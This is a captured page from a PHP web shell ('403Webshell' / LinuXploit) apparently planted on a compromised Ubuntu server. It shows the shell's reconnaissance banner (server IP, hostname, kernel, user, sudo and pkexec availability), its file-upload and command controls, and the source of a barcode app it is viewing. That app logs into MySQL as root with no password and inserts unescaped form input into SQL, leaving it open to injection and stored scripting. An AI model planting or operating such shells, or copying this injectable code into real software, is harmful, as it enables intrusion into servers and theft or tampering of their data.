403Webshell
Server IP : 93.86.61.54  /  Your IP : 216.73.216.60
Web Server : Apache/2.4.62 (Ubuntu)
System : Linux rasin.ddns.net 6.8.0-124-generic #124~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 21:05:19 UTC x86_64
User : www-data ( 33)
PHP Version : 8.4.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/projects/barcode/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/projects/barcode/barcode.php
<?php
error_reporting(E_ALL ^ E_DEPRECATED);
$link = mysqli_connect("localhost","root","");
mysqli_select_db($link,"barcode");

if(isset($_POST['submit'])){
	$barcode = $_POST['barcode'];
	$query = mysqli_query($link, "INSERT INTO temp_barcode (item_barcode) VALUES ('$barcode')");
	header ("location:barcode.php");
}
?>
<!DOCTYPE html>
<html>
<head>
	<title>http://www.techjunkgigs.com/</title>
	<meta charset="utf-8">
	<meta name="viewport" content="width=device-width, initial-scale=1">
	<style>
body{
	background-color:#8c8c8c;
}
	.center-div
	{
	  position: absolute;
	  margin: auto;
	  top: 50px;
	  right: 0;

	  left: 0;
	  width: 250px;
	  height: 100px;
	 
	}
	</style>
	<script type="text/javascript">
		function remove(id)
		{
			if(confirm(' Sure to remove file ? '))
			{
				window.location='deletebarcode.php?remove_id='+id;
			}
		}
</script>	
</head>
<body>
<div class="center-div">
<form method = "POST" action = "barcode.php">
	<input type = "text" name = "barcode" autofocus required>
	<input type = "submit" name = "submit" value = "Insert">
</form>
<hr> 
<table class="table table-hover" width="100%" border="1" style = "border-collapse: collapse; background:#fff;">
    <tr style = "background-color:#86b300;">
    <td>Barcode</td>
    </tr>
    <?php
 $sql="SELECT * FROM temp_barcode ORDER BY id DESC";
 $result_set=mysqli_query($link,$sql);

 while($row=mysqli_fetch_array($result_set))
 { ?>
        <tr>
        <td><?php echo $row['item_barcode'] ?></td>
        </tr>
		<?php } ?>
    </table>
</div>
<div><h1><a href = "http://www.techjunkgigs.com/">TechJunkGigs</a></h1></div>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit